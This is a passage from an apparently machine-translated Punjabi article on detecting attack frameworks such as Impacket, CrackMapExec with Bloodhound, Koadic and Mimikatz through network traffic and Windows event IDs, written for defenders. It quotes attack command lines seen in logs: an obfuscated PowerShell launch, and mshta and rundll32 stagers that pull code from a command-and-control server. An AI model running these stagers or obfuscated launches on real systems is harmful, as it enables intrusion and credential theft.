5. 4688 - ਬਿੰਦੂ 4 ਤੋਂ ਆਰਗੂਮੈਂਟਾਂ ਨਾਲ cmd.exe ਪ੍ਰਕਿਰਿਆ ਦੀ ਸਿਰਜਣਾ।
6. 5145 - C$ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ __ਆਊਟਪੁੱਟ ਫਾਈਲ ਤੱਕ ਪਹੁੰਚ ਅਧਿਕਾਰਾਂ ਦੀ ਜਾਂਚ ਕਰ ਰਿਹਾ ਹੈ।

ਇਮਪੈਕੇਟ ਹਮਲੇ ਦੇ ਸਾਧਨਾਂ ਦੇ ਵਿਕਾਸ ਦਾ ਆਧਾਰ ਹੈ। ਇਹ ਵਿੰਡੋਜ਼ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਵਿੱਚ ਲਗਭਗ ਸਾਰੇ ਪ੍ਰੋਟੋਕੋਲਾਂ ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ ਅਤੇ ਉਸੇ ਸਮੇਂ ਇਸ ਦੀਆਂ ਆਪਣੀਆਂ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਹਨ। ਇੱਥੇ ਖਾਸ ਵਿਨਰੇਗ ਬੇਨਤੀਆਂ ਹਨ, ਅਤੇ ਵਿਸ਼ੇਸ਼ ਕਮਾਂਡ ਬਣਾਉਣ ਦੇ ਨਾਲ SCM API ਦੀ ਵਰਤੋਂ, ਅਤੇ ਫਾਈਲ ਨਾਮ ਫਾਰਮੈਟ, ਅਤੇ SMB ਸ਼ੇਅਰ SYSTEM32।

CRACKMAPEXEC

CME ਟੂਲ ਮੁੱਖ ਤੌਰ 'ਤੇ ਉਹਨਾਂ ਰੁਟੀਨ ਕਾਰਵਾਈਆਂ ਨੂੰ ਸਵੈਚਲਿਤ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ ਜੋ ਇੱਕ ਹਮਲਾਵਰ ਨੂੰ ਨੈੱਟਵਰਕ ਦੇ ਅੰਦਰ ਅੱਗੇ ਵਧਣ ਲਈ ਕਰਨੀਆਂ ਪੈਂਦੀਆਂ ਹਨ। ਇਹ ਤੁਹਾਨੂੰ ਜਾਣੇ-ਪਛਾਣੇ ਸਾਮਰਾਜ ਏਜੰਟ ਅਤੇ ਮੀਟਰਪ੍ਰੇਟਰ ਦੇ ਨਾਲ ਮਿਲ ਕੇ ਕੰਮ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ। ਗੁਪਤ ਰੂਪ ਵਿੱਚ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣ ਲਈ, ਸੀਐਮਈ ਉਹਨਾਂ ਨੂੰ ਅਸਪਸ਼ਟ ਕਰ ਸਕਦਾ ਹੈ। Bloodhound (ਇੱਕ ਵੱਖਰਾ ਖੋਜ ਸੰਦ) ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ, ਇੱਕ ਹਮਲਾਵਰ ਇੱਕ ਸਰਗਰਮ ਡੋਮੇਨ ਪ੍ਰਸ਼ਾਸਕ ਸੈਸ਼ਨ ਲਈ ਖੋਜ ਨੂੰ ਸਵੈਚਲਿਤ ਕਰ ਸਕਦਾ ਹੈ।

ਬਲੱਡਹਾਉਂਡ

Bloodhound, ਇੱਕ ਸਟੈਂਡਅਲੋਨ ਟੂਲ ਦੇ ਰੂਪ ਵਿੱਚ, ਨੈੱਟਵਰਕ ਦੇ ਅੰਦਰ ਉੱਨਤ ਖੋਜ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ। ਇਹ ਉਪਭੋਗਤਾਵਾਂ, ਮਸ਼ੀਨਾਂ, ਸਮੂਹਾਂ, ਸੈਸ਼ਨਾਂ ਬਾਰੇ ਡੇਟਾ ਇਕੱਠਾ ਕਰਦਾ ਹੈ ਅਤੇ ਇੱਕ PowerShell ਸਕ੍ਰਿਪਟ ਜਾਂ ਬਾਈਨਰੀ ਫਾਈਲ ਵਜੋਂ ਸਪਲਾਈ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜਾਣਕਾਰੀ ਇਕੱਠੀ ਕਰਨ ਲਈ LDAP ਜਾਂ SMB- ਅਧਾਰਿਤ ਪ੍ਰੋਟੋਕੋਲ ਵਰਤੇ ਜਾਂਦੇ ਹਨ। CME ਏਕੀਕਰਣ ਮੋਡੀਊਲ Bloodhound ਨੂੰ ਪੀੜਤ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਡਾਊਨਲੋਡ ਕਰਨ, ਚਲਾਉਣ ਅਤੇ ਚੱਲਣ ਤੋਂ ਬਾਅਦ ਇਕੱਠੇ ਕੀਤੇ ਡੇਟਾ ਨੂੰ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ, ਇਸ ਤਰ੍ਹਾਂ ਸਿਸਟਮ ਵਿੱਚ ਕਾਰਵਾਈਆਂ ਨੂੰ ਸਵੈਚਲਿਤ ਕਰਦਾ ਹੈ ਅਤੇ ਉਹਨਾਂ ਨੂੰ ਘੱਟ ਧਿਆਨ ਦੇਣ ਯੋਗ ਬਣਾਉਂਦਾ ਹੈ। Bloodhound ਗ੍ਰਾਫਿਕਲ ਸ਼ੈੱਲ ਇਕੱਤਰ ਕੀਤੇ ਡੇਟਾ ਨੂੰ ਗ੍ਰਾਫਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਪੇਸ਼ ਕਰਦਾ ਹੈ, ਜੋ ਤੁਹਾਨੂੰ ਹਮਲਾਵਰ ਦੀ ਮਸ਼ੀਨ ਤੋਂ ਡੋਮੇਨ ਪ੍ਰਸ਼ਾਸਕ ਤੱਕ ਸਭ ਤੋਂ ਛੋਟਾ ਮਾਰਗ ਲੱਭਣ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ।

ਚੌਲ. 6. ਬਲੱਡਹਾਊਂਡ ਇੰਟਰਫੇਸ

ਪੀੜਤ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਚਲਾਉਣ ਲਈ, ਮੋਡੀਊਲ ATSVC ਅਤੇ SMB ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਇੱਕ ਕੰਮ ਬਣਾਉਂਦਾ ਹੈ। ATSVC ਵਿੰਡੋਜ਼ ਟਾਸਕ ਸ਼ਡਿਊਲਰ ਨਾਲ ਕੰਮ ਕਰਨ ਲਈ ਇੱਕ ਇੰਟਰਫੇਸ ਹੈ। CME ਨੈੱਟਵਰਕ ਉੱਤੇ ਕੰਮ ਬਣਾਉਣ ਲਈ ਆਪਣੇ NetrJobAdd(1) ਫੰਕਸ਼ਨ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। CME ਮੋਡੀਊਲ ਕੀ ਭੇਜਦਾ ਹੈ ਦੀ ਇੱਕ ਉਦਾਹਰਨ ਚਿੱਤਰ ਵਿੱਚ ਦਿਖਾਈ ਗਈ ਹੈ। 7: ਇਹ XML ਫਾਰਮੈਟ ਵਿੱਚ ਆਰਗੂਮੈਂਟਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਇੱਕ cmd.exe ਕਮਾਂਡ ਕਾਲ ਅਤੇ ਅਸਪਸ਼ਟ ਕੋਡ ਹੈ।

ਚਿੱਤਰ.7. CME ਦੁਆਰਾ ਇੱਕ ਕਾਰਜ ਬਣਾਉਣਾ

ਕਾਰਜ ਨੂੰ ਲਾਗੂ ਕਰਨ ਲਈ ਜਮ੍ਹਾ ਕੀਤੇ ਜਾਣ ਤੋਂ ਬਾਅਦ, ਪੀੜਤ ਦੀ ਮਸ਼ੀਨ ਆਪਣੇ ਆਪ ਬਲੱਡਹਾਉਂਡ ਸ਼ੁਰੂ ਕਰਦੀ ਹੈ, ਅਤੇ ਇਹ ਆਵਾਜਾਈ ਵਿੱਚ ਦੇਖਿਆ ਜਾ ਸਕਦਾ ਹੈ। ਮੋਡੀਊਲ ਨੂੰ ਸਟੈਂਡਰਡ ਗਰੁੱਪਾਂ, ਡੋਮੇਨ ਵਿੱਚ ਸਾਰੀਆਂ ਮਸ਼ੀਨਾਂ ਅਤੇ ਉਪਭੋਗਤਾਵਾਂ ਦੀ ਇੱਕ ਸੂਚੀ, ਅਤੇ SRVSVC NetSessEnum ਬੇਨਤੀ ਦੁਆਰਾ ਕਿਰਿਆਸ਼ੀਲ ਉਪਭੋਗਤਾ ਸੈਸ਼ਨਾਂ ਬਾਰੇ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ LDAP ਪੁੱਛਗਿੱਛਾਂ ਦੁਆਰਾ ਵਿਸ਼ੇਸ਼ਤਾ ਦਿੱਤੀ ਗਈ ਹੈ।

ਚੌਲ. 8. SMB ਦੁਆਰਾ ਕਿਰਿਆਸ਼ੀਲ ਸੈਸ਼ਨਾਂ ਦੀ ਸੂਚੀ ਪ੍ਰਾਪਤ ਕਰਨਾ

ਇਸ ਤੋਂ ਇਲਾਵਾ, ਆਡਿਟਿੰਗ ਸਮਰੱਥ ਦੇ ਨਾਲ ਪੀੜਤ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਬਲੱਡਹਾਊਂਡ ਲਾਂਚ ਕਰਨਾ ID 4688 (ਪ੍ਰਕਿਰਿਆ ਬਣਾਉਣ) ਅਤੇ ਪ੍ਰਕਿਰਿਆ ਦੇ ਨਾਮ ਨਾਲ ਇੱਕ ਇਵੈਂਟ ਦੇ ਨਾਲ ਹੈ। «C:WindowsSystem32cmd.exe». ਇਸ ਬਾਰੇ ਜੋ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ ਉਹ ਕਮਾਂਡ ਲਾਈਨ ਆਰਗੂਮੈਂਟ ਹਨ:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

enum_avproducts ਮੋਡੀਊਲ ਕਾਰਜਸ਼ੀਲਤਾ ਅਤੇ ਲਾਗੂ ਕਰਨ ਦੇ ਦ੍ਰਿਸ਼ਟੀਕੋਣ ਤੋਂ ਬਹੁਤ ਦਿਲਚਸਪ ਹੈ। WMI ਤੁਹਾਨੂੰ ਵੱਖ-ਵੱਖ ਵਿੰਡੋਜ਼ ਆਬਜੈਕਟਸ ਤੋਂ ਡਾਟਾ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ WQL ਪੁੱਛਗਿੱਛ ਭਾਸ਼ਾ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ, ਜੋ ਕਿ ਇਹ CME ਮੋਡੀਊਲ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਇਹ AntiSpywareProduct ਅਤੇ AntiMirusProduct ਕਲਾਸਾਂ ਨੂੰ ਪੀੜਤ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਸਥਾਪਿਤ ਸੁਰੱਖਿਆ ਸਾਧਨਾਂ ਬਾਰੇ ਸਵਾਲ ਪੈਦਾ ਕਰਦਾ ਹੈ। ਲੋੜੀਂਦਾ ਡੇਟਾ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ, ਮੋਡੀਊਲ rootSecurityCenter2 ਨੇਮਸਪੇਸ ਨਾਲ ਜੁੜਦਾ ਹੈ, ਫਿਰ ਇੱਕ WQL ਪੁੱਛਗਿੱਛ ਤਿਆਰ ਕਰਦਾ ਹੈ ਅਤੇ ਇੱਕ ਜਵਾਬ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ। ਚਿੱਤਰ ਵਿੱਚ. ਚਿੱਤਰ 9 ਅਜਿਹੀਆਂ ਬੇਨਤੀਆਂ ਅਤੇ ਜਵਾਬਾਂ ਦੀ ਸਮੱਗਰੀ ਨੂੰ ਦਰਸਾਉਂਦਾ ਹੈ। ਸਾਡੇ ਉਦਾਹਰਨ ਵਿੱਚ, ਵਿੰਡੋਜ਼ ਡਿਫੈਂਡਰ ਪਾਇਆ ਗਿਆ ਸੀ.

ਚੌਲ. 9. enum_avproducts ਮੋਡੀਊਲ ਦੀ ਨੈੱਟਵਰਕ ਗਤੀਵਿਧੀ

ਅਕਸਰ, WMI ਆਡਿਟਿੰਗ (ਟਰੇਸ WMI-ਐਕਟੀਵਿਟੀ), ਜਿਸ ਦੇ ਇਵੈਂਟਾਂ ਵਿੱਚ ਤੁਸੀਂ WQL ਸਵਾਲਾਂ ਬਾਰੇ ਉਪਯੋਗੀ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰ ਸਕਦੇ ਹੋ, ਨੂੰ ਅਸਮਰੱਥ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਪਰ ਜੇਕਰ ਇਹ ਸਮਰੱਥ ਹੈ, ਤਾਂ ਜੇਕਰ enum_avproducts ਸਕ੍ਰਿਪਟ ਚਲਾਈ ਜਾਂਦੀ ਹੈ, ਤਾਂ ID 11 ਵਾਲਾ ਇੱਕ ਇਵੈਂਟ ਸੁਰੱਖਿਅਤ ਕੀਤਾ ਜਾਵੇਗਾ। ਇਸ ਵਿੱਚ ਉਸ ਉਪਭੋਗਤਾ ਦਾ ਨਾਮ ਹੋਵੇਗਾ ਜਿਸਨੇ ਬੇਨਤੀ ਭੇਜੀ ਸੀ ਅਤੇ rootSecurityCenter2 ਨਾਮ-ਸਪੇਸ ਵਿੱਚ ਨਾਮ ਸ਼ਾਮਲ ਹੋਵੇਗਾ।

ਹਰੇਕ CME ਮੋਡੀਊਲ ਦੀਆਂ ਆਪਣੀਆਂ ਕਲਾਕ੍ਰਿਤੀਆਂ ਸਨ, ਭਾਵੇਂ ਇਹ ਖਾਸ WQL ਪੁੱਛਗਿੱਛਾਂ ਹੋਣ ਜਾਂ LDAP ਅਤੇ SMB ਵਿੱਚ ਗੁੰਝਲਦਾਰਤਾ ਅਤੇ Bloodhound-ਵਿਸ਼ੇਸ਼ ਗਤੀਵਿਧੀ ਦੇ ਨਾਲ ਇੱਕ ਟਾਸਕ ਸ਼ਡਿਊਲਰ ਵਿੱਚ ਇੱਕ ਖਾਸ ਕਿਸਮ ਦੇ ਕੰਮ ਦੀ ਰਚਨਾ ਹੋਵੇ।

ਕੋਡਿਕ

ਕੋਡਿਕ ਦੀ ਇੱਕ ਵਿਲੱਖਣ ਵਿਸ਼ੇਸ਼ਤਾ ਵਿੰਡੋਜ਼ ਵਿੱਚ ਬਣੇ JavaScript ਅਤੇ VBScript ਦੁਭਾਸ਼ੀਏ ਦੀ ਵਰਤੋਂ ਹੈ। ਇਸ ਅਰਥ ਵਿਚ, ਇਹ ਜ਼ਮੀਨੀ ਰੁਝਾਨ ਨੂੰ ਅਪਣਾਉਂਦੀ ਹੈ - ਭਾਵ, ਇਸਦੀ ਕੋਈ ਬਾਹਰੀ ਨਿਰਭਰਤਾ ਨਹੀਂ ਹੈ ਅਤੇ ਇਹ ਮਿਆਰੀ ਵਿੰਡੋਜ਼ ਟੂਲਸ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਇਹ ਫੁਲ ਕਮਾਂਡ ਐਂਡ ਕੰਟਰੋਲ (CnC) ਲਈ ਇੱਕ ਟੂਲ ਹੈ, ਕਿਉਂਕਿ ਇਨਫੈਕਸ਼ਨ ਤੋਂ ਬਾਅਦ ਮਸ਼ੀਨ ਉੱਤੇ "ਇਮਪਲਾਂਟ" ਸਥਾਪਿਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਜਿਸ ਨਾਲ ਇਸਨੂੰ ਕੰਟਰੋਲ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਅਜਿਹੀ ਮਸ਼ੀਨ, ਕੋਆਡਿਕ ਸ਼ਬਦਾਵਲੀ ਵਿੱਚ, "ਜ਼ੋਂਬੀ" ਕਿਹਾ ਜਾਂਦਾ ਹੈ। ਜੇ ਪੀੜਤ ਦੇ ਪਾਸੇ ਪੂਰੀ ਕਾਰਵਾਈ ਲਈ ਨਾਕਾਫ਼ੀ ਵਿਸ਼ੇਸ਼ ਅਧਿਕਾਰ ਹਨ, ਤਾਂ ਕੋਡਿਕ ਕੋਲ ਉਪਭੋਗਤਾ ਖਾਤਾ ਨਿਯੰਤਰਣ ਬਾਈਪਾਸ (UAC ਬਾਈਪਾਸ) ਤਕਨੀਕਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਉਹਨਾਂ ਨੂੰ ਵਧਾਉਣ ਦੀ ਸਮਰੱਥਾ ਹੈ।

ਚੌਲ. 10. ਕੋਡਿਕ ਸ਼ੈੱਲ

ਪੀੜਤ ਨੂੰ ਕਮਾਂਡ ਅਤੇ ਕੰਟਰੋਲ ਸਰਵਰ ਨਾਲ ਸੰਚਾਰ ਸ਼ੁਰੂ ਕਰਨਾ ਚਾਹੀਦਾ ਹੈ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਉਸ ਨੂੰ ਪਹਿਲਾਂ ਤੋਂ ਤਿਆਰ ਕੀਤੇ ਗਏ URI ਨਾਲ ਸੰਪਰਕ ਕਰਨ ਅਤੇ ਸਟੇਜਰਾਂ ਵਿੱਚੋਂ ਇੱਕ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਮੁੱਖ ਕੋਡਿਕ ਬਾਡੀ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਲੋੜ ਹੁੰਦੀ ਹੈ। ਚਿੱਤਰ ਵਿੱਚ. ਚਿੱਤਰ 11 mshta ਸਟੇਜਰ ਲਈ ਇੱਕ ਉਦਾਹਰਨ ਦਿਖਾਉਂਦਾ ਹੈ।

ਚੌਲ. 11. CnC ਸਰਵਰ ਨਾਲ ਸੈਸ਼ਨ ਸ਼ੁਰੂ ਕਰਨਾ

ਜਵਾਬ ਵੇਰੀਏਬਲ WS ਦੇ ਆਧਾਰ 'ਤੇ, ਇਹ ਸਪੱਸ਼ਟ ਹੋ ਜਾਂਦਾ ਹੈ ਕਿ ਐਗਜ਼ੀਕਿਊਸ਼ਨ WScript.Shell ਦੁਆਰਾ ਹੁੰਦਾ ਹੈ, ਅਤੇ ਵੇਰੀਏਬਲ STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE ਮੌਜੂਦਾ ਸੈਸ਼ਨ ਦੇ ਪੈਰਾਮੀਟਰਾਂ ਬਾਰੇ ਮੁੱਖ ਜਾਣਕਾਰੀ ਰੱਖਦਾ ਹੈ। ਇਹ ਇੱਕ CnC ਸਰਵਰ ਦੇ ਨਾਲ ਇੱਕ HTTP ਕਨੈਕਸ਼ਨ ਵਿੱਚ ਪਹਿਲੀ ਬੇਨਤੀ-ਜਵਾਬ ਜੋੜਾ ਹੈ। ਬਾਅਦ ਦੀਆਂ ਬੇਨਤੀਆਂ ਸਿੱਧੇ ਤੌਰ 'ਤੇ ਕਹੇ ਜਾਂਦੇ ਮੋਡੀਊਲ (ਇਮਪਲਾਂਟ) ਦੀ ਕਾਰਜਸ਼ੀਲਤਾ ਨਾਲ ਸਬੰਧਤ ਹਨ। ਸਾਰੇ Koadic ਮੋਡੀਊਲ CnC ਦੇ ਨਾਲ ਇੱਕ ਸਰਗਰਮ ਸੈਸ਼ਨ ਨਾਲ ਹੀ ਕੰਮ ਕਰਦੇ ਹਨ।

ਮਿਮਿਕੈਟਜ਼

ਜਿਵੇਂ CME Bloodhound ਨਾਲ ਕੰਮ ਕਰਦਾ ਹੈ, Koadic Mimikatz ਨਾਲ ਇੱਕ ਵੱਖਰੇ ਪ੍ਰੋਗਰਾਮ ਵਜੋਂ ਕੰਮ ਕਰਦਾ ਹੈ ਅਤੇ ਇਸਨੂੰ ਲਾਂਚ ਕਰਨ ਦੇ ਕਈ ਤਰੀਕੇ ਹਨ। ਹੇਠਾਂ Mimikatz ਇਮਪਲਾਂਟ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਇੱਕ ਬੇਨਤੀ-ਜਵਾਬ ਜੋੜਾ ਹੈ।

ਚੌਲ. 12. Mimikatz ਨੂੰ Koadic ਵਿੱਚ ਟ੍ਰਾਂਸਫਰ ਕਰੋ

ਤੁਸੀਂ ਦੇਖ ਸਕਦੇ ਹੋ ਕਿ ਬੇਨਤੀ ਵਿੱਚ URI ਫਾਰਮੈਟ ਕਿਵੇਂ ਬਦਲਿਆ ਹੈ। ਇਸ ਵਿੱਚ ਹੁਣ csrf ਵੇਰੀਏਬਲ ਲਈ ਇੱਕ ਮੁੱਲ ਹੈ, ਜੋ ਕਿ ਚੁਣੇ ਗਏ ਮੋਡੀਊਲ ਲਈ ਜ਼ਿੰਮੇਵਾਰ ਹੈ। ਉਸ ਦੇ ਨਾਮ ਵੱਲ ਧਿਆਨ ਨਾ ਦਿਓ; ਅਸੀਂ ਸਾਰੇ ਜਾਣਦੇ ਹਾਂ ਕਿ CSRF ਨੂੰ ਆਮ ਤੌਰ 'ਤੇ ਵੱਖਰੇ ਤਰੀਕੇ ਨਾਲ ਸਮਝਿਆ ਜਾਂਦਾ ਹੈ। ਜਵਾਬ ਕੋਡਿਕ ਦਾ ਉਹੀ ਮੁੱਖ ਭਾਗ ਸੀ, ਜਿਸ ਵਿੱਚ ਮਿਮੀਕਾਟਜ਼ ਨਾਲ ਸਬੰਧਤ ਕੋਡ ਜੋੜਿਆ ਗਿਆ ਸੀ। ਇਹ ਕਾਫ਼ੀ ਵੱਡਾ ਹੈ, ਇਸ ਲਈ ਆਓ ਮੁੱਖ ਨੁਕਤਿਆਂ 'ਤੇ ਨਜ਼ਰ ਮਾਰੀਏ। ਇੱਥੇ ਸਾਡੇ ਕੋਲ ਬੇਸ64 ਵਿੱਚ ਏਨਕੋਡ ਕੀਤੀ ਮਿਮੀਕਾਟਜ਼ ਲਾਇਬ੍ਰੇਰੀ ਹੈ, ਇੱਕ ਸੀਰੀਅਲਾਈਜ਼ਡ .NET ਕਲਾਸ ਜੋ ਇਸਨੂੰ ਇੰਜੈਕਟ ਕਰੇਗੀ, ਅਤੇ ਮਿਮੀਕਾਟਜ਼ ਨੂੰ ਲਾਂਚ ਕਰਨ ਲਈ ਆਰਗੂਮੈਂਟਸ। ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਨਤੀਜਾ ਸਾਫ ਟੈਕਸਟ ਵਿੱਚ ਨੈੱਟਵਰਕ ਉੱਤੇ ਪ੍ਰਸਾਰਿਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ।

ਚੌਲ. 13. ਇੱਕ ਰਿਮੋਟ ਮਸ਼ੀਨ 'ਤੇ Mimikatz ਚਲਾਉਣ ਦਾ ਨਤੀਜਾ

Exec_cmd

Koadic ਕੋਲ ਮੈਡਿਊਲ ਵੀ ਹਨ ਜੋ ਕਮਾਂਡਾਂ ਨੂੰ ਰਿਮੋਟ ਤੋਂ ਚਲਾ ਸਕਦੇ ਹਨ। ਇੱਥੇ ਅਸੀਂ ਉਹੀ URI ਜਨਰੇਸ਼ਨ ਵਿਧੀ ਅਤੇ ਜਾਣੂ sid ਅਤੇ csrf ਵੇਰੀਏਬਲ ਵੇਖਾਂਗੇ। exec_cmd ਮੋਡੀਊਲ ਦੇ ਮਾਮਲੇ ਵਿੱਚ, ਕੋਡ ਨੂੰ ਸਰੀਰ ਵਿੱਚ ਜੋੜਿਆ ਜਾਂਦਾ ਹੈ ਜੋ ਸ਼ੈੱਲ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣ ਦੇ ਯੋਗ ਹੁੰਦਾ ਹੈ। ਹੇਠਾਂ CnC ਸਰਵਰ ਦੇ HTTP ਜਵਾਬ ਵਿੱਚ ਅਜਿਹਾ ਕੋਡ ਦਿਖਾਇਆ ਗਿਆ ਹੈ।

ਚੌਲ. 14. ਇਮਪਲਾਂਟ ਕੋਡ exec_cmd

ਕੋਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਲਈ ਜਾਣੂ WS ਗੁਣ ਵਾਲਾ GAWTUUGCFI ਵੇਰੀਏਬਲ ਲੋੜੀਂਦਾ ਹੈ। ਇਸਦੀ ਮਦਦ ਨਾਲ, ਇਮਪਲਾਂਟ ਸ਼ੈੱਲ ਨੂੰ ਕਾਲ ਕਰਦਾ ਹੈ, ਕੋਡ ਦੀਆਂ ਦੋ ਸ਼ਾਖਾਵਾਂ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਦਾ ਹੈ - shell.exec ਨੂੰ ਆਉਟਪੁੱਟ ਡੇਟਾ ਸਟ੍ਰੀਮ ਅਤੇ shell.run ਦੀ ਵਾਪਸੀ ਦੇ ਬਿਨਾਂ ਵਾਪਸੀ ਦੇ ਨਾਲ।

Koadic ਇੱਕ ਆਮ ਟੂਲ ਨਹੀਂ ਹੈ, ਪਰ ਇਸ ਦੀਆਂ ਆਪਣੀਆਂ ਕਲਾਕ੍ਰਿਤੀਆਂ ਹਨ ਜਿਸ ਦੁਆਰਾ ਇਸਨੂੰ ਜਾਇਜ਼ ਆਵਾਜਾਈ ਵਿੱਚ ਪਾਇਆ ਜਾ ਸਕਦਾ ਹੈ:

• HTTP ਬੇਨਤੀਆਂ ਦਾ ਵਿਸ਼ੇਸ਼ ਗਠਨ,
• winHttpRequests API ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ,
• ActiveXObject ਦੁਆਰਾ WScript.Shell ਆਬਜੈਕਟ ਬਣਾਉਣਾ,
• ਵੱਡੀ ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਬਾਡੀ।

ਸ਼ੁਰੂਆਤੀ ਕੁਨੈਕਸ਼ਨ ਸਟੇਜਰ ਦੁਆਰਾ ਸ਼ੁਰੂ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਇਸਲਈ ਵਿੰਡੋਜ਼ ਇਵੈਂਟਸ ਦੁਆਰਾ ਇਸਦੀ ਗਤੀਵਿਧੀ ਦਾ ਪਤਾ ਲਗਾਉਣਾ ਸੰਭਵ ਹੈ. mshta ਲਈ, ਇਹ ਇਵੈਂਟ 4688 ਹੈ, ਜੋ ਸ਼ੁਰੂਆਤੀ ਵਿਸ਼ੇਸ਼ਤਾ ਨਾਲ ਇੱਕ ਪ੍ਰਕਿਰਿਆ ਦੀ ਰਚਨਾ ਨੂੰ ਦਰਸਾਉਂਦਾ ਹੈ:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

ਜਦੋਂ ਕੋਡਿਕ ਚੱਲ ਰਿਹਾ ਹੈ, ਤੁਸੀਂ ਹੋਰ 4688 ਇਵੈਂਟਸ ਨੂੰ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਦੇ ਨਾਲ ਦੇਖ ਸਕਦੇ ਹੋ ਜੋ ਇਸਦੀ ਵਿਸ਼ੇਸ਼ਤਾ ਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਨਾਲ ਦਰਸਾਉਂਦੇ ਹਨ:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

ਸਿੱਟਾ

ਜ਼ਮੀਨ ਤੋਂ ਬਾਹਰ ਰਹਿਣ ਦਾ ਰੁਝਾਨ ਅਪਰਾਧੀਆਂ ਵਿੱਚ ਪ੍ਰਸਿੱਧੀ ਪ੍ਰਾਪਤ ਕਰ ਰਿਹਾ ਹੈ। ਉਹ ਆਪਣੀਆਂ ਲੋੜਾਂ ਲਈ ਵਿੰਡੋਜ਼ ਵਿੱਚ ਬਣੇ ਸਾਧਨਾਂ ਅਤੇ ਵਿਧੀਆਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ। ਅਸੀਂ APT ਰਿਪੋਰਟਾਂ ਵਿੱਚ ਇਸ ਸਿਧਾਂਤ ਦੀ ਪਾਲਣਾ ਕਰਦੇ ਹੋਏ ਪ੍ਰਸਿੱਧ ਟੂਲ Koadic, CrackMapExec ਅਤੇ Impacket ਦੇਖ ਰਹੇ ਹਾਂ। ਇਹਨਾਂ ਸਾਧਨਾਂ ਲਈ GitHub 'ਤੇ ਫੋਰਕਾਂ ਦੀ ਗਿਣਤੀ ਵੀ ਵਧ ਰਹੀ ਹੈ, ਅਤੇ ਨਵੇਂ ਦਿਖਾਈ ਦੇ ਰਹੇ ਹਨ (ਹੁਣ ਉਨ੍ਹਾਂ ਵਿੱਚੋਂ ਲਗਭਗ ਇੱਕ ਹਜ਼ਾਰ ਪਹਿਲਾਂ ਹੀ ਹਨ)। ਇਹ ਰੁਝਾਨ ਇਸਦੀ ਸਾਦਗੀ ਕਾਰਨ ਪ੍ਰਸਿੱਧੀ ਪ੍ਰਾਪਤ ਕਰ ਰਿਹਾ ਹੈ: ਹਮਲਾਵਰਾਂ ਨੂੰ ਤੀਜੀ-ਧਿਰ ਦੇ ਸਾਧਨਾਂ ਦੀ ਲੋੜ ਨਹੀਂ ਹੁੰਦੀ ਹੈ; ਉਹ ਪਹਿਲਾਂ ਹੀ ਪੀੜਤਾਂ ਦੀਆਂ 